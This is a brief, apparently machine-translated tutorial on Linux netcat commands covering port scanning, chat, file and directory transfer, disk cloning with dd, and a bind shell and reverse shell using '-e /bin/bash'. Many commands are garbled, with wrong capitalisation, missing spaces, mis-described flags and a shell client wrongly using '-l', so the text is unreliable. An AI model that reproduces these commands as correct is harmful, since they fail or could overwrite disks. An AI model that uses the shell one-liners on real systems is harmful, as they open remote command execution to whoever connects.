Linux Netcat Commands

The netcat is used to debug and check the network and to read and write data through TCP and UDP on the network. Netcat is to establish a link between two computers and return two data streams, you can set up a server, transfer files, chat with friends, transfer streaming media or use it as a separate client for other protocols.

0x01, Port scan

NCAT-V-N 192.168.1.1 80

-V: Show more information

-N: Use a pure digital IP address without DNS to resolve IP addresses

-W 1: Set timeout time is 1

-u: Scan UDP port, default TCP

-Z: Use 0IO, close connection immediately after successful connection, no data exchange

-L: Connect and listen to incoming connections

-e: Command line to perform delivery

-K: Accepts multiple listening mode connections

0x02, Chat Service

Server

Start a TCP server on port 10086

Ncat-l 10086

Client

On the machine clent input, the server will show up

NCAT localhost 10086

0x03, File transfer

Server transfers files to client

Server

Ncat-l 10086 < Test.txt

Client

Ncat-n 127.0.0.1 10086 > Test.txt

Client transfers files to the server

Server

Touch Test.txt

Ncat-l 10086 > Test.txt

Clinet

Cat Test.txt | NCAT localhost 10086

0x03, directory Transfer

Server

Tar-czvf-python | ncat-l10086

Clinet

Ncat-n 127.0.0.1 10086 | TAR-XVF-

0x04, cloning a device

Server

DDIF=/DEV/SDA | Nc-l 10086

Clinet

Ncat-n 127.0.0.1 10086 | DD OF=/DEV/SDA

0x05, open a shell

Server

Ncat-l 10086-e/bin/bash-i

Client

Ncat-l 192.168.1.1 10086

Reverse shell

Server

Ncat-l 10086

Cliet

NCAT 127.0.0.1 10086-e/bin/bash

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Linux Netcat Commands